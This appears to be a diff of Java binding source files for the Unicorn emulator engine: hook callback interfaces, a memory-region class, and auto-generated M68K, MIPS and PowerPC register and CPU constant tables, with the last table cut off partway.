GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** Callback for {@code UC_HOOK_INSN} with {@code UC_X86_INS_CPUID} */
public interface CpuidHook extends InstructionHook {
/** Called to handle an x86 CPUID instruction.
*
* @param u {@link Unicorn} instance firing this hook
* @param user user data provided when registering this hook
* @return 1 to skip the instruction (marking it as handled),
* 0 to let QEMU handle it
*/
public int hook(Unicorn u, Object user);
}

View File

@@ -0,0 +1,35 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2023 Robert Xiao
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** Callback for {@code UC_HOOK_EDGE_GENERATED} */
public interface EdgeGeneratedHook extends Hook {
/** Called whenever a jump is made to a new (untranslated) basic block.
*
* @param u {@link Unicorn} instance firing this hook
* @param cur_tb newly translated block being entered
* @param prev_tb previous block being exited
* @param user user data provided when registering this hook
*/
public void hook(Unicorn u, TranslationBlock cur_tb,
TranslationBlock prev_tb, Object user);
}

View File

@@ -0,0 +1,44 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2015 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** Callback for {@code UC_HOOK_MEM_INVALID}
* (<code>UC_HOOK_MEM_{READ,WRITE,FETCH}_{UNMAPPED,PROT}</code>) */
public interface EventMemHook extends Hook {
/** Called when an invalid memory access occurs within the registered
* range.
*
* @param u {@link Unicorn} instance firing this hook
* @param type type of the memory access and violation: one of
* <code>UC_MEM_{READ,WRITE,FETCH}_{UNMAPPED,PROT}</code>
* @param address address of the memory access
* @param size size of the memory access
* @param value value written ({@code UC_MEM_WRITE_*} only)
* @param user user data provided when registering this hook
* @return {@code true} to mark the exception as handled, which
* will retry the memory access. If no hooks return
* {@code true}, the memory access will fail and a CPU
* exception will be raised.
*/
public boolean hook(Unicorn u, int type, long address, int size, long value,
Object user);
}

View File

@@ -0,0 +1,27 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2015 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** Base interface for all Unicorn hooks */
public interface Hook {
}

View File

@@ -0,0 +1,35 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2015 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** Callback for {@code UC_HOOK_INSN} with {@code UC_X86_INS_IN} */
public interface InHook extends InstructionHook {
/** Called to handle an x86 IN instruction.
*
* @param u {@link Unicorn} instance firing this hook
* @param port I/O port number
* @param size size of the request (1, 2, or 4 bytes)
* @param user user data provided when registering this hook
* @return value of the I/O request
*/
public int hook(Unicorn u, int port, int size, Object user);
}

View File

@@ -0,0 +1,27 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2015 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** Base interface for {@code UC_HOOK_INSN} hooks */
public interface InstructionHook extends Hook {
}

View File

@@ -0,0 +1,33 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2015 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** Callback for {@code UC_HOOK_INTR} */
public interface InterruptHook extends Hook {
/** Called when a CPU interrupt occurs.
*
* @param u {@link Unicorn} instance firing this hook
* @param intno CPU-specific interrupt number
* @param user user data provided when registering this hook
*/
public void hook(Unicorn u, int intno, Object user);
}

View File

@@ -0,0 +1,36 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2023 Robert Xiao
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** Callback for {@code UC_HOOK_INSN_INVALID} */
public interface InvalidInstructionHook extends Hook {
/** Called when an invalid instruction is encountered.
*
* @param u {@link Unicorn} instance firing this hook
* @param user user data provided when registering this hook
* @return {@code true} to mark the exception as handled. Emulation
* will stop without raising an invalid instruction exception.
* If no hooks return {@code true}, emulation will stop with
* an invalid instruction exception.
*/
public boolean hook(Unicorn u, Object user);
}

View File

@@ -0,0 +1,43 @@
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT
package unicorn;
public interface M68kConst {
// M68K CPU
public static final int UC_CPU_M68K_M5206 = 0;
public static final int UC_CPU_M68K_M68000 = 1;
public static final int UC_CPU_M68K_M68020 = 2;
public static final int UC_CPU_M68K_M68030 = 3;
public static final int UC_CPU_M68K_M68040 = 4;
public static final int UC_CPU_M68K_M68060 = 5;
public static final int UC_CPU_M68K_M5208 = 6;
public static final int UC_CPU_M68K_CFV4E = 7;
public static final int UC_CPU_M68K_ANY = 8;
public static final int UC_CPU_M68K_ENDING = 9;
// M68K registers
public static final int UC_M68K_REG_INVALID = 0;
public static final int UC_M68K_REG_A0 = 1;
public static final int UC_M68K_REG_A1 = 2;
public static final int UC_M68K_REG_A2 = 3;
public static final int UC_M68K_REG_A3 = 4;
public static final int UC_M68K_REG_A4 = 5;
public static final int UC_M68K_REG_A5 = 6;
public static final int UC_M68K_REG_A6 = 7;
public static final int UC_M68K_REG_A7 = 8;
public static final int UC_M68K_REG_D0 = 9;
public static final int UC_M68K_REG_D1 = 10;
public static final int UC_M68K_REG_D2 = 11;
public static final int UC_M68K_REG_D3 = 12;
public static final int UC_M68K_REG_D4 = 13;
public static final int UC_M68K_REG_D5 = 14;
public static final int UC_M68K_REG_D6 = 15;
public static final int UC_M68K_REG_D7 = 16;
public static final int UC_M68K_REG_SR = 17;
public static final int UC_M68K_REG_PC = 18;
public static final int UC_M68K_REG_ENDING = 19;
}

View File

@@ -0,0 +1,42 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2015 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** Callback for {@code UC_HOOK_MEM_VALID}
* (<code>UC_HOOK_MEM_{READ,WRITE,FETCH}</code> and/or
* {@code UC_HOOK_MEM_READ_AFTER}) */
public interface MemHook extends Hook {
/** Called when a valid memory access occurs within the registered range.
*
* @param u {@link Unicorn} instance firing this hook
* @param type type of the memory access: one of {@code UC_MEM_READ},
* {@code UC_MEM_WRITE} or {@code UC_MEM_READ_AFTER}.
* @param address address of the memory access
* @param size size of the memory access
* @param value value read ({@code UC_MEM_READ_AFTER} only) or written
* ({@code UC_MEM_WRITE} only). Not meaningful for
* {@code UC_MEM_READ} events.
* @param user user data provided when registering this hook
*/
public void hook(Unicorn u, int type, long address, int size, long value,
Object user);
}

View File

@@ -0,0 +1,40 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2016 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
public class MemRegion {
public long begin;
public long end;
public int perms;
public MemRegion(long begin, long end, int perms) {
this.begin = begin;
this.end = end;
this.perms = perms;
}
@Override
public String toString() {
return String.format("MemRegion [begin=0x%x, end=0x%x, perms=%d]",
begin, end, perms);
}
}

View File

@@ -0,0 +1,241 @@
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT
package unicorn;
public interface MipsConst {
// MIPS32 CPUS
public static final int UC_CPU_MIPS32_4KC = 0;
public static final int UC_CPU_MIPS32_4KM = 1;
public static final int UC_CPU_MIPS32_4KECR1 = 2;
public static final int UC_CPU_MIPS32_4KEMR1 = 3;
public static final int UC_CPU_MIPS32_4KEC = 4;
public static final int UC_CPU_MIPS32_4KEM = 5;
public static final int UC_CPU_MIPS32_24KC = 6;
public static final int UC_CPU_MIPS32_24KEC = 7;
public static final int UC_CPU_MIPS32_24KF = 8;
public static final int UC_CPU_MIPS32_34KF = 9;
public static final int UC_CPU_MIPS32_74KF = 10;
public static final int UC_CPU_MIPS32_M14K = 11;
public static final int UC_CPU_MIPS32_M14KC = 12;
public static final int UC_CPU_MIPS32_P5600 = 13;
public static final int UC_CPU_MIPS32_MIPS32R6_GENERIC = 14;
public static final int UC_CPU_MIPS32_I7200 = 15;
public static final int UC_CPU_MIPS32_ENDING = 16;
// MIPS64 CPUS
public static final int UC_CPU_MIPS64_R4000 = 0;
public static final int UC_CPU_MIPS64_VR5432 = 1;
public static final int UC_CPU_MIPS64_5KC = 2;
public static final int UC_CPU_MIPS64_5KF = 3;
public static final int UC_CPU_MIPS64_20KC = 4;
public static final int UC_CPU_MIPS64_MIPS64R2_GENERIC = 5;
public static final int UC_CPU_MIPS64_5KEC = 6;
public static final int UC_CPU_MIPS64_5KEF = 7;
public static final int UC_CPU_MIPS64_I6400 = 8;
public static final int UC_CPU_MIPS64_I6500 = 9;
public static final int UC_CPU_MIPS64_LOONGSON_2E = 10;
public static final int UC_CPU_MIPS64_LOONGSON_2F = 11;
public static final int UC_CPU_MIPS64_MIPS64DSPR2 = 12;
public static final int UC_CPU_MIPS64_ENDING = 13;
// MIPS registers
public static final int UC_MIPS_REG_INVALID = 0;
// General purpose registers
public static final int UC_MIPS_REG_PC = 1;
public static final int UC_MIPS_REG_0 = 2;
public static final int UC_MIPS_REG_1 = 3;
public static final int UC_MIPS_REG_2 = 4;
public static final int UC_MIPS_REG_3 = 5;
public static final int UC_MIPS_REG_4 = 6;
public static final int UC_MIPS_REG_5 = 7;
public static final int UC_MIPS_REG_6 = 8;
public static final int UC_MIPS_REG_7 = 9;
public static final int UC_MIPS_REG_8 = 10;
public static final int UC_MIPS_REG_9 = 11;
public static final int UC_MIPS_REG_10 = 12;
public static final int UC_MIPS_REG_11 = 13;
public static final int UC_MIPS_REG_12 = 14;
public static final int UC_MIPS_REG_13 = 15;
public static final int UC_MIPS_REG_14 = 16;
public static final int UC_MIPS_REG_15 = 17;
public static final int UC_MIPS_REG_16 = 18;
public static final int UC_MIPS_REG_17 = 19;
public static final int UC_MIPS_REG_18 = 20;
public static final int UC_MIPS_REG_19 = 21;
public static final int UC_MIPS_REG_20 = 22;
public static final int UC_MIPS_REG_21 = 23;
public static final int UC_MIPS_REG_22 = 24;
public static final int UC_MIPS_REG_23 = 25;
public static final int UC_MIPS_REG_24 = 26;
public static final int UC_MIPS_REG_25 = 27;
public static final int UC_MIPS_REG_26 = 28;
public static final int UC_MIPS_REG_27 = 29;
public static final int UC_MIPS_REG_28 = 30;
public static final int UC_MIPS_REG_29 = 31;
public static final int UC_MIPS_REG_30 = 32;
public static final int UC_MIPS_REG_31 = 33;
// DSP registers
public static final int UC_MIPS_REG_DSPCCOND = 34;
public static final int UC_MIPS_REG_DSPCARRY = 35;
public static final int UC_MIPS_REG_DSPEFI = 36;
public static final int UC_MIPS_REG_DSPOUTFLAG = 37;
public static final int UC_MIPS_REG_DSPOUTFLAG16_19 = 38;
public static final int UC_MIPS_REG_DSPOUTFLAG20 = 39;
public static final int UC_MIPS_REG_DSPOUTFLAG21 = 40;
public static final int UC_MIPS_REG_DSPOUTFLAG22 = 41;
public static final int UC_MIPS_REG_DSPOUTFLAG23 = 42;
public static final int UC_MIPS_REG_DSPPOS = 43;
public static final int UC_MIPS_REG_DSPSCOUNT = 44;
// ACC registers
public static final int UC_MIPS_REG_AC0 = 45;
public static final int UC_MIPS_REG_AC1 = 46;
public static final int UC_MIPS_REG_AC2 = 47;
public static final int UC_MIPS_REG_AC3 = 48;
// COP registers
public static final int UC_MIPS_REG_CC0 = 49;
public static final int UC_MIPS_REG_CC1 = 50;
public static final int UC_MIPS_REG_CC2 = 51;
public static final int UC_MIPS_REG_CC3 = 52;
public static final int UC_MIPS_REG_CC4 = 53;
public static final int UC_MIPS_REG_CC5 = 54;
public static final int UC_MIPS_REG_CC6 = 55;
public static final int UC_MIPS_REG_CC7 = 56;
// FPU registers
public static final int UC_MIPS_REG_F0 = 57;
public static final int UC_MIPS_REG_F1 = 58;
public static final int UC_MIPS_REG_F2 = 59;
public static final int UC_MIPS_REG_F3 = 60;
public static final int UC_MIPS_REG_F4 = 61;
public static final int UC_MIPS_REG_F5 = 62;
public static final int UC_MIPS_REG_F6 = 63;
public static final int UC_MIPS_REG_F7 = 64;
public static final int UC_MIPS_REG_F8 = 65;
public static final int UC_MIPS_REG_F9 = 66;
public static final int UC_MIPS_REG_F10 = 67;
public static final int UC_MIPS_REG_F11 = 68;
public static final int UC_MIPS_REG_F12 = 69;
public static final int UC_MIPS_REG_F13 = 70;
public static final int UC_MIPS_REG_F14 = 71;
public static final int UC_MIPS_REG_F15 = 72;
public static final int UC_MIPS_REG_F16 = 73;
public static final int UC_MIPS_REG_F17 = 74;
public static final int UC_MIPS_REG_F18 = 75;
public static final int UC_MIPS_REG_F19 = 76;
public static final int UC_MIPS_REG_F20 = 77;
public static final int UC_MIPS_REG_F21 = 78;
public static final int UC_MIPS_REG_F22 = 79;
public static final int UC_MIPS_REG_F23 = 80;
public static final int UC_MIPS_REG_F24 = 81;
public static final int UC_MIPS_REG_F25 = 82;
public static final int UC_MIPS_REG_F26 = 83;
public static final int UC_MIPS_REG_F27 = 84;
public static final int UC_MIPS_REG_F28 = 85;
public static final int UC_MIPS_REG_F29 = 86;
public static final int UC_MIPS_REG_F30 = 87;
public static final int UC_MIPS_REG_F31 = 88;
public static final int UC_MIPS_REG_FCC0 = 89;
public static final int UC_MIPS_REG_FCC1 = 90;
public static final int UC_MIPS_REG_FCC2 = 91;
public static final int UC_MIPS_REG_FCC3 = 92;
public static final int UC_MIPS_REG_FCC4 = 93;
public static final int UC_MIPS_REG_FCC5 = 94;
public static final int UC_MIPS_REG_FCC6 = 95;
public static final int UC_MIPS_REG_FCC7 = 96;
// AFPR128
public static final int UC_MIPS_REG_W0 = 97;
public static final int UC_MIPS_REG_W1 = 98;
public static final int UC_MIPS_REG_W2 = 99;
public static final int UC_MIPS_REG_W3 = 100;
public static final int UC_MIPS_REG_W4 = 101;
public static final int UC_MIPS_REG_W5 = 102;
public static final int UC_MIPS_REG_W6 = 103;
public static final int UC_MIPS_REG_W7 = 104;
public static final int UC_MIPS_REG_W8 = 105;
public static final int UC_MIPS_REG_W9 = 106;
public static final int UC_MIPS_REG_W10 = 107;
public static final int UC_MIPS_REG_W11 = 108;
public static final int UC_MIPS_REG_W12 = 109;
public static final int UC_MIPS_REG_W13 = 110;
public static final int UC_MIPS_REG_W14 = 111;
public static final int UC_MIPS_REG_W15 = 112;
public static final int UC_MIPS_REG_W16 = 113;
public static final int UC_MIPS_REG_W17 = 114;
public static final int UC_MIPS_REG_W18 = 115;
public static final int UC_MIPS_REG_W19 = 116;
public static final int UC_MIPS_REG_W20 = 117;
public static final int UC_MIPS_REG_W21 = 118;
public static final int UC_MIPS_REG_W22 = 119;
public static final int UC_MIPS_REG_W23 = 120;
public static final int UC_MIPS_REG_W24 = 121;
public static final int UC_MIPS_REG_W25 = 122;
public static final int UC_MIPS_REG_W26 = 123;
public static final int UC_MIPS_REG_W27 = 124;
public static final int UC_MIPS_REG_W28 = 125;
public static final int UC_MIPS_REG_W29 = 126;
public static final int UC_MIPS_REG_W30 = 127;
public static final int UC_MIPS_REG_W31 = 128;
public static final int UC_MIPS_REG_HI = 129;
public static final int UC_MIPS_REG_LO = 130;
public static final int UC_MIPS_REG_P0 = 131;
public static final int UC_MIPS_REG_P1 = 132;
public static final int UC_MIPS_REG_P2 = 133;
public static final int UC_MIPS_REG_MPL0 = 134;
public static final int UC_MIPS_REG_MPL1 = 135;
public static final int UC_MIPS_REG_MPL2 = 136;
public static final int UC_MIPS_REG_CP0_CONFIG3 = 137;
public static final int UC_MIPS_REG_CP0_USERLOCAL = 138;
public static final int UC_MIPS_REG_CP0_STATUS = 139;
public static final int UC_MIPS_REG_ENDING = 140;
public static final int UC_MIPS_REG_ZERO = 2;
public static final int UC_MIPS_REG_AT = 3;
public static final int UC_MIPS_REG_V0 = 4;
public static final int UC_MIPS_REG_V1 = 5;
public static final int UC_MIPS_REG_A0 = 6;
public static final int UC_MIPS_REG_A1 = 7;
public static final int UC_MIPS_REG_A2 = 8;
public static final int UC_MIPS_REG_A3 = 9;
public static final int UC_MIPS_REG_T0 = 10;
public static final int UC_MIPS_REG_T1 = 11;
public static final int UC_MIPS_REG_T2 = 12;
public static final int UC_MIPS_REG_T3 = 13;
public static final int UC_MIPS_REG_T4 = 14;
public static final int UC_MIPS_REG_T5 = 15;
public static final int UC_MIPS_REG_T6 = 16;
public static final int UC_MIPS_REG_T7 = 17;
public static final int UC_MIPS_REG_S0 = 18;
public static final int UC_MIPS_REG_S1 = 19;
public static final int UC_MIPS_REG_S2 = 20;
public static final int UC_MIPS_REG_S3 = 21;
public static final int UC_MIPS_REG_S4 = 22;
public static final int UC_MIPS_REG_S5 = 23;
public static final int UC_MIPS_REG_S6 = 24;
public static final int UC_MIPS_REG_S7 = 25;
public static final int UC_MIPS_REG_T8 = 26;
public static final int UC_MIPS_REG_T9 = 27;
public static final int UC_MIPS_REG_K0 = 28;
public static final int UC_MIPS_REG_K1 = 29;
public static final int UC_MIPS_REG_GP = 30;
public static final int UC_MIPS_REG_SP = 31;
public static final int UC_MIPS_REG_FP = 32;
public static final int UC_MIPS_REG_S8 = 32;
public static final int UC_MIPS_REG_RA = 33;
public static final int UC_MIPS_REG_HI0 = 45;
public static final int UC_MIPS_REG_HI1 = 46;
public static final int UC_MIPS_REG_HI2 = 47;
public static final int UC_MIPS_REG_HI3 = 48;
public static final int UC_MIPS_REG_LO0 = 45;
public static final int UC_MIPS_REG_LO1 = 46;
public static final int UC_MIPS_REG_LO2 = 47;
public static final int UC_MIPS_REG_LO3 = 48;
}

View File

@@ -0,0 +1,37 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2023 Robert Xiao
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** Interface for handling reads from memory-mapped I/O, mapped via
* {@link Unicorn#mmio_map} */
public interface MmioReadHandler {
/** Called when a memory read is made to an address in the mapped range.
*
* @param u {@link Unicorn} instance firing this hook
* @param offset offset of the request address from the start of the
* mapped range
* @param size size of the memory access, in bytes
* @param user user data provided when registering this hook
* @return value of this I/O request
*/
long read(Unicorn u, long offset, int size, Object user);
}

View File

@@ -0,0 +1,37 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2023 Robert Xiao
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** Interface for handling writes to memory-mapped I/O, mapped via
* {@link Unicorn#mmio_map} */
public interface MmioWriteHandler {
/** Called when a memory write is made to an address in the mapped range.
*
* @param u {@link Unicorn} instance firing this hook
* @param offset offset of the request address from the start of the
* mapped range
* @param size size of the memory access, in bytes
* @param value value being written
* @param user user data provided when registering this hook
*/
void write(Unicorn u, long offset, int size, long value, Object user_data);
}

View File

@@ -0,0 +1,34 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2015 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** Callback for {@code UC_HOOK_INSN} with {@code UC_X86_INS_OUT} */
public interface OutHook extends InstructionHook {
/** Called to handle an x86 OUT instruction.
*
* @param u {@link Unicorn} instance firing this hook
* @param port I/O port number
* @param size size of the request (1, 2, or 4 bytes)
* @param user user data provided when registering this hook
*/
public void hook(Unicorn u, int port, int size, int value, Object user);
}

View File

@@ -0,0 +1,410 @@
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT
package unicorn;
public interface PpcConst {
// PPC CPU
public static final int UC_CPU_PPC32_401 = 0;
public static final int UC_CPU_PPC32_401A1 = 1;
public static final int UC_CPU_PPC32_401B2 = 2;
public static final int UC_CPU_PPC32_401C2 = 3;
public static final int UC_CPU_PPC32_401D2 = 4;
public static final int UC_CPU_PPC32_401E2 = 5;
public static final int UC_CPU_PPC32_401F2 = 6;
public static final int UC_CPU_PPC32_401G2 = 7;
public static final int UC_CPU_PPC32_IOP480 = 8;
public static final int UC_CPU_PPC32_COBRA = 9;
public static final int UC_CPU_PPC32_403GA = 10;
public static final int UC_CPU_PPC32_403GB = 11;
public static final int UC_CPU_PPC32_403GC = 12;
public static final int UC_CPU_PPC32_403GCX = 13;
public static final int UC_CPU_PPC32_405D2 = 14;
public static final int UC_CPU_PPC32_405D4 = 15;
public static final int UC_CPU_PPC32_405CRA = 16;
public static final int UC_CPU_PPC32_405CRB = 17;
public static final int UC_CPU_PPC32_405CRC = 18;
public static final int UC_CPU_PPC32_405EP = 19;
public static final int UC_CPU_PPC32_405EZ = 20;
public static final int UC_CPU_PPC32_405GPA = 21;
public static final int UC_CPU_PPC32_405GPB = 22;
public static final int UC_CPU_PPC32_405GPC = 23;
public static final int UC_CPU_PPC32_405GPD = 24;
public static final int UC_CPU_PPC32_405GPR = 25;
public static final int UC_CPU_PPC32_405LP = 26;
public static final int UC_CPU_PPC32_NPE405H = 27;
public static final int UC_CPU_PPC32_NPE405H2 = 28;
public static final int UC_CPU_PPC32_NPE405L = 29;
public static final int UC_CPU_PPC32_NPE4GS3 = 30;
public static final int UC_CPU_PPC32_STB03 = 31;
public static final int UC_CPU_PPC32_STB04 = 32;
public static final int UC_CPU_PPC32_STB25 = 33;
public static final int UC_CPU_PPC32_X2VP4 = 34;
public static final int UC_CPU_PPC32_X2VP20 = 35;
public static final int UC_CPU_PPC32_440_XILINX = 36;
public static final int UC_CPU_PPC32_440_XILINX_W_DFPU = 37;
public static final int UC_CPU_PPC32_440EPA = 38;
public static final int UC_CPU_PPC32_440EPB = 39;
public static final int UC_CPU_PPC32_440EPX = 40;
public static final int UC_CPU_PPC32_460EXB = 41;
public static final int UC_CPU_PPC32_G2 = 42;
public static final int UC_CPU_PPC32_G2H4 = 43;
public static final int UC_CPU_PPC32_G2GP = 44;
public static final int UC_CPU_PPC32_G2LS = 45;
public static final int UC_CPU_PPC32_G2HIP3 = 46;
public static final int UC_CPU_PPC32_G2HIP4 = 47;
public static final int UC_CPU_PPC32_MPC603 = 48;
public static final int UC_CPU_PPC32_G2LE = 49;
public static final int UC_CPU_PPC32_G2LEGP = 50;
public static final int UC_CPU_PPC32_G2LELS = 51;
public static final int UC_CPU_PPC32_G2LEGP1 = 52;
public static final int UC_CPU_PPC32_G2LEGP3 = 53;
public static final int UC_CPU_PPC32_MPC5200_V10 = 54;
public static final int UC_CPU_PPC32_MPC5200_V11 = 55;
public static final int UC_CPU_PPC32_MPC5200_V12 = 56;
public static final int UC_CPU_PPC32_MPC5200B_V20 = 57;
public static final int UC_CPU_PPC32_MPC5200B_V21 = 58;
public static final int UC_CPU_PPC32_E200Z5 = 59;
public static final int UC_CPU_PPC32_E200Z6 = 60;
public static final int UC_CPU_PPC32_E300C1 = 61;
public static final int UC_CPU_PPC32_E300C2 = 62;
public static final int UC_CPU_PPC32_E300C3 = 63;
public static final int UC_CPU_PPC32_E300C4 = 64;
public static final int UC_CPU_PPC32_MPC8343 = 65;
public static final int UC_CPU_PPC32_MPC8343A = 66;
public static final int UC_CPU_PPC32_MPC8343E = 67;
public static final int UC_CPU_PPC32_MPC8343EA = 68;
public static final int UC_CPU_PPC32_MPC8347T = 69;
public static final int UC_CPU_PPC32_MPC8347P = 70;
public static final int UC_CPU_PPC32_MPC8347AT = 71;
public static final int UC_CPU_PPC32_MPC8347AP = 72;
public static final int UC_CPU_PPC32_MPC8347ET = 73;
public static final int UC_CPU_PPC32_MPC8347EP = 74;
public static final int UC_CPU_PPC32_MPC8347EAT = 75;
public static final int UC_CPU_PPC32_MPC8347EAP = 76;
public static final int UC_CPU_PPC32_MPC8349 = 77;
public static final int UC_CPU_PPC32_MPC8349A = 78;
public static final int UC_CPU_PPC32_MPC8349E = 79;
public static final int UC_CPU_PPC32_MPC8349EA = 80;
public static final int UC_CPU_PPC32_MPC8377 = 81;
public static final int UC_CPU_PPC32_MPC8377E = 82;
public static final int UC_CPU_PPC32_MPC8378 = 83;
public static final int UC_CPU_PPC32_MPC8378E = 84;
public static final int UC_CPU_PPC32_MPC8379 = 85;
public static final int UC_CPU_PPC32_MPC8379E = 86;
public static final int UC_CPU_PPC32_E500_V10 = 87;
public static final int UC_CPU_PPC32_E500_V20 = 88;
public static final int UC_CPU_PPC32_E500V2_V10 = 89;
public static final int UC_CPU_PPC32_E500V2_V20 = 90;
public static final int UC_CPU_PPC32_E500V2_V21 = 91;
public static final int UC_CPU_PPC32_E500V2_V22 = 92;
public static final int UC_CPU_PPC32_E500V2_V30 = 93;
public static final int UC_CPU_PPC32_E500MC = 94;
public static final int UC_CPU_PPC32_MPC8533_V10 = 95;
public static final int UC_CPU_PPC32_MPC8533_V11 = 96;
public static final int UC_CPU_PPC32_MPC8533E_V10 = 97;
public static final int UC_CPU_PPC32_MPC8533E_V11 = 98;
public static final int UC_CPU_PPC32_MPC8540_V10 = 99;
public static final int UC_CPU_PPC32_MPC8540_V20 = 100;
public static final int UC_CPU_PPC32_MPC8540_V21 = 101;
public static final int UC_CPU_PPC32_MPC8541_V10 = 102;
public static final int UC_CPU_PPC32_MPC8541_V11 = 103;
public static final int UC_CPU_PPC32_MPC8541E_V10 = 104;
public static final int UC_CPU_PPC32_MPC8541E_V11 = 105;
